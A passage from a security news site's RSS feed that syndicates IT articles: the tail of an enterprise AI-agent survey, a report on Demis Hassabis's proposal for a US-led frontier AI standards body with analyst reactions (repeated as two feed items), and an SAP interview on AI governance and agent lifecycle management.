than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The question for subsequent waves is whether the deployed reality closes the gap on the ambition — or whether the chatbot trap proves stickier than the roadmap assumes.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[DeepMind CEO again pushes for a frontier AI standards body]]></title>
<description><![CDATA[Google DeepMind CEO Demis Hassabis on Tuesday reiterated his push for an AI industry self-regulation effort, led by the US government, that is particularly focused on artificial general intelligence (AGI) and national security. 



But it is precisely that focus on national security that may make...]]></description>
<link>https://tsecurity.de/de/3671860/it-nachrichten/deepmind-ceo-again-pushes-for-a-frontier-ai-standards-body/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671860/it-nachrichten/deepmind-ceo-again-pushes-for-a-frontier-ai-standards-body/</guid>
<pubDate>Wed, 15 Jul 2026 23:01:43 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google DeepMind CEO Demis Hassabis on Tuesday reiterated his push for an AI industry self-regulation effort, led by the US government, that is particularly focused on <a href="https://www.computerworld.com/article/4174181/google-talks-singularity-while-scaling-up-agentic-ai-for-enterprises-2.html" target="_blank">artificial general intelligence (AGI)</a> and national security. </p>



<p class="wp-block-paragraph">But it is precisely that focus on national security that may make the results of such an effort, assuming it happens, less than palatable outside of the US.</p>



<p class="wp-block-paragraph">“The rapid progress we’re seeing in AI requires a new approach to testing frontier AI model capabilities that is dynamic, adaptable, and rigorous,” <a href="https://demishassabis.substack.com/p/a-framework-for-frontier-ai-and-the-dawning-of-a-new-age" target="_blank" rel="noreferrer noopener">Hassabis wrote</a>. “The US is well positioned, given its economic and technical standing, to take the first step in developing such a framework. It could establish a new Standards Body modelled on a federally overseen public-private partnership or self-regulatory organization, much like the Financial Industry Regulatory Authority (FINRA), with a board that includes independent leading technical experts and open-source representatives.”</p>



<p class="wp-block-paragraph">He noted, however, that the funding would need to be substantial, and would most likely come from industry, to allow the new body to attract world-class technical talent and obtain the necessary compute resources for large-scale testing.</p>



<p class="wp-block-paragraph">Hassabis said he would propose that the organization “be responsible for developing assessment protocols and working with appropriate federal agencies and the US National Labs to conduct testing in areas relevant to national security,” and that AI vendor participants would be encouraged to adopt best practices, such as publishing model cards with technical details, maintaining strong internal cybersecurity, vetting key personnel, and providing sufficient resourcing for safety and security research.</p>



<p class="wp-block-paragraph">This is not the first time Hassabis has <a href="https://www.computerworld.com/article/4178398/deepmind-ceo-agi-could-be-here-in-three-years.html" target="_blank">expressed worries about AGI</a>. He has already worked on <a href="https://www.cio.com/article/4168122/us-government-agency-to-safety-test-frontier-ai-models-before-release.html" target="_blank">a US government initiative evaluating AI safety</a>, which involved DeepMind, Microsoft and xAI (now SpaceXAI) working with the Center for AI Standards and Innovation (CAISI), a division of the US Department of Commerce. It allowed CAISI to conduct pre-deployment evaluations and targeted research to “better assess frontier AI capabilities and advance the state of AI security.”  </p>



<h2 class="wp-block-heading">The rest of the world may have concerns</h2>



<p class="wp-block-paragraph">Analysts and consultants were mixed about the move, with most expressing concerns about whether an industry-focused group would prioritize the public’s best interests.</p>



<p class="wp-block-paragraph">“Self-regulation is not viable because it implies everyone is able to regulate themselves and will do so in line with the best interests of the public. Most tech vendors don’t have the capacity to self-regulate. They would just prefer a set of rules within which they can operate,” said Gartner VP analyst <a href="https://www.gartner.com/en/experts/nader-henein" target="_blank" rel="noreferrer noopener">Nader Henein</a>. “For-profit organizations are required to do what is best for their shareholders, and external regulation ensures that those organizations are never in a conflict of interest where they have to choose between what is good for their shareholders and what is good for the public.”</p>



<p class="wp-block-paragraph">And, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, given the international nature of AI models, an effort coordinated by the US government might alienate other countries. </p>



<p class="wp-block-paragraph">“National security is the proposal’s accelerator in Washington and its poison pill abroad: the framing that opens the only gate available at home invites foreign capitals to read the institution as an instrument of American strategy,” he pointed out. </p>



<p class="wp-block-paragraph">“The map is already plural,” he said. “Brussels switches on enforcement powers over general-purpose models [starting in August 2026], London runs the AI Security Institute, and Beijing licenses on its own terms. California and New York have legislated for frontier models at home. The durable route is shared technical evidence with sovereign enforcement, sealed through mutual recognition rather than deference, with India and the other major non-Western markets holding authorship rather than seats.”</p>



<p class="wp-block-paragraph">Gogia added that the rules enacted by even such a group may not address all of the key concerns of enterprise IT. A US government effort along the lines that Hassabis is proposing would result in testing that “sits close to intelligence and industrial policy, and those functions will not stay neatly separated. A model can pass every catastrophic-risk test and still fail the enterprise on privacy, reliability, and liability,” he noted.</p>



<p class="wp-block-paragraph">Walmart’s former director of cybersecurity <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a>, who is now an independent cybersecurity consultant, said he found the proposal “well-intentioned, but it addresses a highly polarized topic at a time when commercial interests carry unprecedented political influence, which is not always applied benevolently.”</p>



<p class="wp-block-paragraph">He added, “an exclusive US standard that is not globally respected or enforceable would likely fail to achieve its core purpose and would place US companies at a competitive disadvantage.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, said that a deep dive into how <a href="https://www.finra.org/" target="_blank" rel="noreferrer noopener">FINRA</a> operates today is illustrative of what IT leaders can expect from this effort, assuming the industry adopts that model.</p>



<p class="wp-block-paragraph">“When the CEOs of the five companies that would be regulated are also the primary drafters of the standards, the standards will reflect those companies’ interests. FINRA has an independent board, but the operational reality is that member firm perspectives dominate the working groups that write the actual rules,” he said. “There is no reason to expect an AI equivalent to work differently, and every reason to expect it to work worse, because AI standardization is happening faster than any industry has ever attempted to standardize itself, and speed is the enemy of independent oversight.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/carmi/" target="_blank" rel="noreferrer noopener">Carmi Levy</a>, an independent technology analyst, was even more emphatically opposed to the Hassabis proposal.</p>



<p class="wp-block-paragraph">“Asking Big Tech companies to self-police is analogous to allowing foxes to guard the henhouse. It hasn’t worked to date, and it won’t work going forward. Expecting these organizations to somehow change their ways at this point in time represents the height of naïve thinking,” Levy said. “The framework proposed by Demis Hassabis is a self-serving roadmap for an industry bent on racing to the AI horizon regardless of the harms caused along the way. It is impossible to quantify the dangers to broader society should frameworks allowing self-regulation become the norm.”</p>



<h2 class="wp-block-heading">Some love the proposal</h2>



<p class="wp-block-paragraph">An almost completely opposite stance came from <a href="https://www.linkedin.com/in/yurigoryunov/" target="_blank" rel="noreferrer noopener">Yuri Goryunov</a>, CIO of consulting firm Acceligence, who applauded the proposed move.</p>



<p class="wp-block-paragraph">“This is one of the rare setups where industry self-regulation has a real shot, and enterprise IT should be enthusiastically rooting for it,” he said. “It fails when harms are externalized, such as in social media content moderation. Or when the overseer outsources judgment to the overseen, such as the FAA’s delegation to Boeing before the 737 MAX. It works when everyone in the industry shares the catastrophic downside.”</p>



<p class="wp-block-paragraph">He suggested, however, that the best precedent here isn’t FINRA, it’s INPO, the Institute of Nuclear Power Operations, which the nuclear industry created within months of the <a href="https://www.nrc.gov/reading-rm/doc-collections/fact-sheets/3mile-isle" target="_blank" rel="noreferrer noopener">1979 Three Mile Island partial reactor meltdown</a> “on the logic that an accident anywhere is an accident everywhere. INPO peer-reviews every US plant, its evaluations move insurance premiums, and it sits on top of the NRC’s statutory floor. That is a public-private stack very close to what Hassabis is describing. Frontier AI has the same structure: one lab’s catastrophic failure brings regulation down on all of them.”</p>



<p class="wp-block-paragraph">For enterprise CIOs and other IT executives, Goryunov said, that model has the potential for being a big win.</p>



<p class="wp-block-paragraph"><strong>“</strong>Today, every enterprise duplicates the same AI diligence of red-teaming, eval suites, governance committees and each does so with less information than any certifying body would have,” Goryunov said. “A credible standards regime does for AI what UL did for electrical equipment and SOC2 did for cloud: it converts an unknowable risk into a procurable product and gives boards a defensible standard of care. That’s not red tape. That’s peace of mind with an audit trail.”</p>



<p class="wp-block-paragraph">However, Mahapatra said, “the countervailing view is that the alternative to industry-led standards is probably not thoughtful legislation. It is probably no standards, or state-by-state fragmentation, or the current pattern of ex-post enforcement actions where regulators surface concerns years after harm has already occurred.” </p>



<p class="wp-block-paragraph">Thus, he noted, “Hassabis is making the reasonable argument that imperfect fast standards are better than perfect slow ones, and there is genuine merit to that view for topics like agent identity, evaluation methodology, and interoperability, which are exactly the areas <a href="https://www.computerworld.com/article/4196365/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai.html" target="_blank">OpenClaw is also targeting</a>.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[DeepMind CEO again pushes for a frontier AI standards body]]></title>
<description><![CDATA[Google DeepMind CEO Demis Hassabis on Tuesday reiterated his push for an AI industry self-regulation effort, led by the US government, that is particularly focused on artificial general intelligence (AGI) and national security. 



But it is precisely that focus on national security that may make...]]></description>
<link>https://tsecurity.de/de/3671859/it-nachrichten/deepmind-ceo-again-pushes-for-a-frontier-ai-standards-body/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671859/it-nachrichten/deepmind-ceo-again-pushes-for-a-frontier-ai-standards-body/</guid>
<pubDate>Wed, 15 Jul 2026 23:01:42 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google DeepMind CEO Demis Hassabis on Tuesday reiterated his push for an AI industry self-regulation effort, led by the US government, that is particularly focused on <a href="https://www.computerworld.com/article/4174181/google-talks-singularity-while-scaling-up-agentic-ai-for-enterprises-2.html" target="_blank">artificial general intelligence (AGI)</a> and national security. </p>



<p class="wp-block-paragraph">But it is precisely that focus on national security that may make the results of such an effort, assuming it happens, less than palatable outside of the US.</p>



<p class="wp-block-paragraph">“The rapid progress we’re seeing in AI requires a new approach to testing frontier AI model capabilities that is dynamic, adaptable, and rigorous,” <a href="https://demishassabis.substack.com/p/a-framework-for-frontier-ai-and-the-dawning-of-a-new-age" target="_blank" rel="noreferrer noopener">Hassabis wrote</a>. “The US is well positioned, given its economic and technical standing, to take the first step in developing such a framework. It could establish a new Standards Body modelled on a federally overseen public-private partnership or self-regulatory organization, much like the Financial Industry Regulatory Authority (FINRA), with a board that includes independent leading technical experts and open-source representatives.”</p>



<p class="wp-block-paragraph">He noted, however, that the funding would need to be substantial, and would most likely come from industry, to allow the new body to attract world-class technical talent and obtain the necessary compute resources for large-scale testing.</p>



<p class="wp-block-paragraph">Hassabis said he would propose that the organization “be responsible for developing assessment protocols and working with appropriate federal agencies and the US National Labs to conduct testing in areas relevant to national security,” and that AI vendor participants would be encouraged to adopt best practices, such as publishing model cards with technical details, maintaining strong internal cybersecurity, vetting key personnel, and providing sufficient resourcing for safety and security research.</p>



<p class="wp-block-paragraph">This is not the first time Hassabis has <a href="https://www.computerworld.com/article/4178398/deepmind-ceo-agi-could-be-here-in-three-years.html" target="_blank">expressed worries about AGI</a>. He has already worked on <a href="https://www.cio.com/article/4168122/us-government-agency-to-safety-test-frontier-ai-models-before-release.html" target="_blank">a US government initiative evaluating AI safety</a>, which involved DeepMind, Microsoft and xAI (now SpaceXAI) working with the Center for AI Standards and Innovation (CAISI), a division of the US Department of Commerce. It allowed CAISI to conduct pre-deployment evaluations and targeted research to “better assess frontier AI capabilities and advance the state of AI security.”  </p>



<h2 class="wp-block-heading">The rest of the world may have concerns</h2>



<p class="wp-block-paragraph">Analysts and consultants were mixed about the move, with most expressing concerns about whether an industry-focused group would prioritize the public’s best interests.</p>



<p class="wp-block-paragraph">“Self-regulation is not viable because it implies everyone is able to regulate themselves and will do so in line with the best interests of the public. Most tech vendors don’t have the capacity to self-regulate. They would just prefer a set of rules within which they can operate,” said Gartner VP analyst <a href="https://www.gartner.com/en/experts/nader-henein" target="_blank" rel="noreferrer noopener">Nader Henein</a>. “For-profit organizations are required to do what is best for their shareholders, and external regulation ensures that those organizations are never in a conflict of interest where they have to choose between what is good for their shareholders and what is good for the public.”</p>



<p class="wp-block-paragraph">And, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, given the international nature of AI models, an effort coordinated by the US government might alienate other countries. </p>



<p class="wp-block-paragraph">“National security is the proposal’s accelerator in Washington and its poison pill abroad: the framing that opens the only gate available at home invites foreign capitals to read the institution as an instrument of American strategy,” he pointed out. </p>



<p class="wp-block-paragraph">“The map is already plural,” he said. “Brussels switches on enforcement powers over general-purpose models [starting in August 2026], London runs the AI Security Institute, and Beijing licenses on its own terms. California and New York have legislated for frontier models at home. The durable route is shared technical evidence with sovereign enforcement, sealed through mutual recognition rather than deference, with India and the other major non-Western markets holding authorship rather than seats.”</p>



<p class="wp-block-paragraph">Gogia added that the rules enacted by even such a group may not address all of the key concerns of enterprise IT. A US government effort along the lines that Hassabis is proposing would result in testing that “sits close to intelligence and industrial policy, and those functions will not stay neatly separated. A model can pass every catastrophic-risk test and still fail the enterprise on privacy, reliability, and liability,” he noted.</p>



<p class="wp-block-paragraph">Walmart’s former director of cybersecurity <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a>, who is now an independent cybersecurity consultant, said he found the proposal “well-intentioned, but it addresses a highly polarized topic at a time when commercial interests carry unprecedented political influence, which is not always applied benevolently.”</p>



<p class="wp-block-paragraph">He added, “an exclusive US standard that is not globally respected or enforceable would likely fail to achieve its core purpose and would place US companies at a competitive disadvantage.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, said that a deep dive into how <a href="https://www.finra.org/" target="_blank" rel="noreferrer noopener">FINRA</a> operates today is illustrative of what IT leaders can expect from this effort, assuming the industry adopts that model.</p>



<p class="wp-block-paragraph">“When the CEOs of the five companies that would be regulated are also the primary drafters of the standards, the standards will reflect those companies’ interests. FINRA has an independent board, but the operational reality is that member firm perspectives dominate the working groups that write the actual rules,” he said. “There is no reason to expect an AI equivalent to work differently, and every reason to expect it to work worse, because AI standardization is happening faster than any industry has ever attempted to standardize itself, and speed is the enemy of independent oversight.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/carmi/" target="_blank" rel="noreferrer noopener">Carmi Levy</a>, an independent technology analyst, was even more emphatically opposed to the Hassabis proposal.</p>



<p class="wp-block-paragraph">“Asking Big Tech companies to self-police is analogous to allowing foxes to guard the henhouse. It hasn’t worked to date, and it won’t work going forward. Expecting these organizations to somehow change their ways at this point in time represents the height of naïve thinking,” Levy said. “The framework proposed by Demis Hassabis is a self-serving roadmap for an industry bent on racing to the AI horizon regardless of the harms caused along the way. It is impossible to quantify the dangers to broader society should frameworks allowing self-regulation become the norm.”</p>



<h2 class="wp-block-heading">Some love the proposal</h2>



<p class="wp-block-paragraph">An almost completely opposite stance came from <a href="https://www.linkedin.com/in/yurigoryunov/" target="_blank" rel="noreferrer noopener">Yuri Goryunov</a>, CIO of consulting firm Acceligence, who applauded the proposed move.</p>



<p class="wp-block-paragraph">“This is one of the rare setups where industry self-regulation has a real shot, and enterprise IT should be enthusiastically rooting for it,” he said. “It fails when harms are externalized, such as in social media content moderation. Or when the overseer outsources judgment to the overseen, such as the FAA’s delegation to Boeing before the 737 MAX. It works when everyone in the industry shares the catastrophic downside.”</p>



<p class="wp-block-paragraph">He suggested, however, that the best precedent here isn’t FINRA, it’s INPO, the Institute of Nuclear Power Operations, which the nuclear industry created within months of the <a href="https://www.nrc.gov/reading-rm/doc-collections/fact-sheets/3mile-isle" target="_blank" rel="noreferrer noopener">1979 Three Mile Island partial reactor meltdown</a> “on the logic that an accident anywhere is an accident everywhere. INPO peer-reviews every US plant, its evaluations move insurance premiums, and it sits on top of the NRC’s statutory floor. That is a public-private stack very close to what Hassabis is describing. Frontier AI has the same structure: one lab’s catastrophic failure brings regulation down on all of them.”</p>



<p class="wp-block-paragraph">For enterprise CIOs and other IT executives, Goryunov said, that model has the potential for being a big win.</p>



<p class="wp-block-paragraph"><strong>“</strong>Today, every enterprise duplicates the same AI diligence of red-teaming, eval suites, governance committees and each does so with less information than any certifying body would have,” Goryunov said. “A credible standards regime does for AI what UL did for electrical equipment and SOC2 did for cloud: it converts an unknowable risk into a procurable product and gives boards a defensible standard of care. That’s not red tape. That’s peace of mind with an audit trail.”</p>



<p class="wp-block-paragraph">However, Mahapatra said, “the countervailing view is that the alternative to industry-led standards is probably not thoughtful legislation. It is probably no standards, or state-by-state fragmentation, or the current pattern of ex-post enforcement actions where regulators surface concerns years after harm has already occurred.” </p>



<p class="wp-block-paragraph">Thus, he noted, “Hassabis is making the reasonable argument that imperfect fast standards are better than perfect slow ones, and there is genuine merit to that view for topics like agent identity, evaluation methodology, and interoperability, which are exactly the areas <a href="https://www.computerworld.com/article/4196365/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai.html" target="_blank">OpenClaw is also targeting</a>.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on CIO.com.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI is paying off, but governance is lagging behind]]></title>
<description><![CDATA[Enterprises are facing two simultaneous challenges with AI: The risks associated with it are evolving faster than governance frameworks, while the business benefits are often difficult to measure.



This is one of the key findings of The Value of AI, a study commissioned by SAP from Oxford Econo...]]></description>
<link>https://tsecurity.de/de/3671333/it-nachrichten/ai-is-paying-off-but-governance-is-lagging-behind/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671333/it-nachrichten/ai-is-paying-off-but-governance-is-lagging-behind/</guid>
<pubDate>Wed, 15 Jul 2026 18:33:43 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Enterprises are facing two simultaneous challenges with AI: The risks associated with it are evolving faster than governance frameworks, while the business benefits are often difficult to measure.</p>



<p class="wp-block-paragraph">This is one of the key findings of <a href="https://www.sap.com/documents/2026/07/92b94d7d-5a7f-0010-bca6-c68f7e60039b.html" target="_blank" rel="noreferrer noopener">The Value of AI</a>, a study commissioned by SAP from Oxford Economics. Now in its second year, the study surveyed 2,600 executives from 13 countries worldwide.</p>



<h2 class="wp-block-heading">High expectations, limited preparation</h2>



<p class="wp-block-paragraph">On average, the enterprises surveyed plan to spend around $28 million on AI (up from $26.7 million last year), and expect a 21% ROI (from 16% last year). Expectations for AI agents are particularly high, with ROI expected to reach 17% this year, up from 10% last year. Furthermore, 83% of respondents worldwide said agentic AI has the potential to fundamentally transform their organization. On the other hand, only 3% of respondents said their enterprises were fully prepared for the deployment of AI agents.</p>



<p class="wp-block-paragraph">There are gaps, particularly when it comes to governance:</p>



<ul class="wp-block-list">
<li>Only 12% of respondents said their skills or processes were able to govern AI effectively,</li>



<li>38% do not have human-in-the-loop processes in place for oversight of AI agents, and</li>



<li>only 63% have established permissions and access controls for agents.</li>
</ul>



<p class="wp-block-paragraph">Other concerns include weaknesses in the organization of AI deployment, poor data quality, insufficient employee training, and the widespread use of shadow AI.</p>



<h2 class="wp-block-heading">Governance is the bigger challenge</h2>


<div class="extendedBlock-wrapper block-coreImage right"><figure class="wp-block-image alignright size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Sean Kask, Chief AI Strategy Officer at SAP </figcaption></figure><p class="imageCredit">SAP</p></div>



<p class="wp-block-paragraph">In an interview, <a href="https://www.linkedin.com/in/seankask/" target="_blank" rel="noreferrer noopener">Sean Kask</a>, Chief AI Strategy Officer at SAP, commented on the study’s key findings.</p>



<p class="wp-block-paragraph"><em>Mr. Kask, in the study’s foreword, you write that companies are currently facing two challenges simultaneously: The risks associated with AI are evolving faster than governance, while the business benefits are often difficult to measure. Which of these poses the greater problem for companies?</em></p>



<p class="wp-block-paragraph"><strong>Sean Kask:</strong> Measuring the business value of IT investments has never been easy. The same applies to AI. That’s why I currently consider the governance issue to be the greater challenge. While traditional governance principles and best practices for secure software development remain important even in the age of large language models and agent-based AI, entirely new risks are emerging at the same time.</p>



<p class="wp-block-paragraph">For example, as soon as companies roll out AI on a broad scale, they suddenly discover hundreds or even thousands of so-called shadow agents that employees are using without central oversight. Or they find that a significant portion of the workforce is copying content into private ChatGPT accounts. Such risks often only become apparent once AI is already being used productively.</p>



<p class="wp-block-paragraph"><em>According to your study, German companies invest an average of nearly $40 million in AI, more than companies in all other countries surveyed. Why is that?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> I was less surprised by the amount of investment than by the fact that, overall, the level of investment and the return on investment achieved have developed very similarly across the various countries. There’s no clear answer as to why Germany invests more. In part, it’s likely simply because costs here are higher than in India, for example.</p>



<p class="wp-block-paragraph">However, we’re also seeing a high level of AI adoption among German companies. SAP has a dashboard that allows us to track how our customers are using AI features. Germany is among the countries with particularly high usage. Added to this are the strong industrial base and the political impetus from Europe, which are driving the use of AI. Accordingly, companies there are making targeted investments in building the necessary expertise.</p>



<p class="wp-block-paragraph"><em>According to the study, 47% of German companies are satisfied with the return on investment from their AI investments. At the same time, 77% say they are still far from realizing AI’s full potential. Isn’t that a contradiction?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> No, we see this pattern worldwide. Companies initially invest in a few AI use cases and realize: This works; we’re creating added value. Accordingly, they’re satisfied with their investment.</p>



<p class="wp-block-paragraph">But this is precisely what leads them to identify further use cases. They explore AI agents and want to utilize them as well. However, it is exactly at this point that many encounter new challenges in implementation and scaling.</p>



<p class="wp-block-paragraph">The study therefore primarily highlights a learning curve: The more experience companies gain with AI, the greater their awareness of its previously untapped potential becomes.</p>



<p class="wp-block-paragraph"><em>According to the study, only 33% of companies surveyed have KPIs at the executive board level that are directly linked to the implementation of AI. In your view, which metrics should supervisory boards and CEOs definitely be tracking?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> For us, a key indicator is employee enablement. How many employees have already successfully completed training or upskilling programs related to AI? Without the appropriate skills, AI adoption will fall short of its potential.</p>



<p class="wp-block-paragraph">Transparency is equally important. Companies should know which AI agents are actually in use within their landscape. SAP offers the SAP AI Agent Hub for this purpose, which automatically discovers and inventories agents from SAP and third-party environments. Customers have already been able to identify thousands of agents this way, which highlights the need for centralized governance and transparency.</p>



<p class="wp-block-paragraph">In addition, companies should have a complete overview of all AI use cases. A robust business case should be in place for each use case. We often see two extremes: Either the executive board is under pressure to implement AI as quickly as possible and allocates a lump-sum budget for this purpose. Or management initially takes a wait-and-see approach. This leads to independent pilot projects springing up throughout the company, with individual departments procuring their own tools and entering into their own contracts.</p>



<p class="wp-block-paragraph">At SAP, we therefore follow a clearly structured selection process. Each idea first undergoes an assessment of its expected business value. We then examine technical feasibility, data availability, and ethical and governance aspects. From management’s perspective, it is crucial to maintain transparency regarding all ongoing AI projects at all times and to consistently prioritize them based on their business value.</p>



<h2 class="wp-block-heading">Agents, too, need a ‘hire-to-retire’ lifecycle</h2>



<p class="wp-block-paragraph"><em>Even with the introduction of dozens or even hundreds of AI agents, governance becomes increasingly complex. What capabilities do enterprise platforms need to manage AI agents securely and in a controlled manner at scale?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> We make a conscious effort not to anthropomorphize AI too much. Nevertheless, the analogy is helpful: Agents require a complete hire-to-retire lifecycle. This begins with the detection and registration of an agent. It is then integrated into the enterprise environment, granted the necessary permissions, and given access to the data sources it needs to perform its tasks.</p>



<p class="wp-block-paragraph">Observability is just as important. Companies must be able to track what an agent is actually doing in the system at all times. In addition, they should track key performance indicators: Is the agent achieving the desired results? How efficiently is it working? How many tokens does it consume? How many processing steps does it require for a task?</p>



<p class="wp-block-paragraph">Ultimately, this involves several key components: a complete inventory of all agents, appropriate governance, risk, and compliance (GRC) mechanisms, transparency regarding agent behavior, and continuous monitoring. This is the only way to ensure that AI agents consistently operate within defined parameters and deliver the desired business value.</p>



<p class="wp-block-paragraph"><em>In your estimation, which business processes will companies actually delegate entirely to AI agents over the next two to three years?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Currently, such agents work particularly well in clearly defined use cases. SAP will release more than 50 (currently 34) specialized AI agents.</p>



<p class="wp-block-paragraph">One example is periodic financial reporting. In this context, journal entries must be made based on numerous rules stored in documents, emails, or previous transactions. The agent analyzes these various sources of information, derives a recommendation from them, and suggests the appropriate journal entry to the user.</p>



<p class="wp-block-paragraph">Based on what we’ve heard from customer projects, employees at medium-sized companies currently spend about twelve hours per month on these tasks. With the help of an AI agent, this effort can be reduced to two to three hours.</p>



<p class="wp-block-paragraph">Another area of application is production planning. If delivery dates change or new orders come in at short notice, the entire production plan must be adjusted. It is precisely these kinds of complex optimization tasks that are ideally suited for AI agents.</p>



<p class="wp-block-paragraph">In principle, there are virtually no limits to the narrowly defined business processes in which agents can be deployed. However, they will not operate completely autonomously at first.</p>



<h2 class="wp-block-heading">Trust in AI begins with a stable foundation</h2>



<p class="wp-block-paragraph"><em>Many companies still struggle to trust AI agents. After all, large language models operate probabilistically and can produce false information. This is particularly problematic in financial processes. How do you build trust?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Trust begins with a stable foundation. ERP systems remain the reliable system of record. They operate deterministically, contain the business logic, and hold the relevant company data. AI agents build upon this foundation. They do not replace it.</p>



<p class="wp-block-paragraph">Equally important is the human-in-the-loop principle. Employees must be able to understand what the agent is doing, verify its results, and intervene if necessary. That’s why employee training also plays a crucial role. They must understand how generative AI works and where its limitations lie.</p>



<p class="wp-block-paragraph">Of course, language models can hallucinate. At the same time, we must not forget that humans are not infallible either. The key lies in the collaboration between humans and AI. This allows us to improve both the efficiency and the quality of many business processes.</p>



<p class="wp-block-paragraph">Another important component is transparency. Our global AI ethics policy, for example, stipulates that users must always be able to recognize when AI is involved. In Joule, it’s possible to trace which data sources the agent used and which steps it went through in reaching its decision. This traceability is an essential prerequisite for trust.</p>



<p class="wp-block-paragraph"><em>What distinguishes an SAP agent from a general AI agent that merely accesses an ERP system?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> The key difference is that Joule and the SAP agents are directly embedded in the ERP system. There, for example, we’ve built a knowledge graph that describes the semantic relationships between all tables, business objects, and data fields.</p>



<p class="wp-block-paragraph">To put this into perspective: The SAP S/4HANA Knowledge Graph is based on approximately 452,000 ABAP tables, 7.3 million data fields, and thousands of analytical views. The semantic relationships between these artifacts are modeled in the Knowledge Graph and made available for AI applications.</p>



<p class="wp-block-paragraph">For example, if a user wants to view all open purchase orders, the agent does not first have to laboriously search for the relevant information. It immediately knows which tables and objects are relevant and also understands the relationships between a purchase order, a purchase requisition, the responsible approvers, and other business objects. As a result, the agent not only works much more precisely but also requires significantly fewer tokens because it can greatly narrow down the search space.</p>



<p class="wp-block-paragraph">If, instead, one attempts to simply overlay AI onto an existing system or extract data from a relational ERP system, many of these relationships are lost. In a sense, this destroys the semantic context that is crucial for precise answers.</p>



<p class="wp-block-paragraph">That is why we view the ERP system as an enormous strategic advantage. It has been the system of record for decades and contains roughly 50 years of codified business and process knowledge. This knowledge forms the foundation for what we call the <a href="https://www.cio.com/article/4170465/saps-biggest-ai-bet-yet-agents-that-execute-not-just-assist.html">autonomous enterprise</a>. The agents build upon this knowledge and continue to develop it.</p>



<p class="wp-block-paragraph">In the future, SAP agents will also communicate bidirectionally with agents from other providers via standards such as Agent-to-Agent (A2A).</p>



<p class="wp-block-paragraph"><em>According to your study, AI currently creates the greatest added value in decision-making, customer interaction, and gaining new insights, rather than in traditional productivity gains. Will this change the way companies justify AI investments in the future?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> In our study, productivity was simply rated slightly lower than, for example, gaining new insights. In the long term, however, productivity remains the ultimate goal. Europe, in particular, has been suffering from comparatively weak productivity growth for years.</p>



<p class="wp-block-paragraph">At SAP, we therefore first evaluate every new AI feature based on its specific business value. For all agents and AI features that we include in our AI Feature Catalog, we first conduct a value analysis. We ask: What benefit does the feature offer the user? Does it contribute to higher revenue? Does it increase productivity? Only then is it developed further.</p>



<p class="wp-block-paragraph">At the moment, the greatest added value often still lies in consolidating information from structured and unstructured data sources and making it accessible via natural language. The next step, however, is to translate these insights directly into more efficient business processes. That is precisely where the greatest productivity gains will be realized in the future.</p>



<blockquote class="wp-block-quote is-style-plain is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><em>If you could give CIOs just one or two pieces of advice for the transition from generative AI to AI agents, what would they be?</em></p>
</blockquote>



<p class="wp-block-paragraph"><strong>Kask:</strong> In my view, the biggest mistake would be to try to transform the entire company all at once or to attempt to perfectly prepare all the data right from the start.</p>



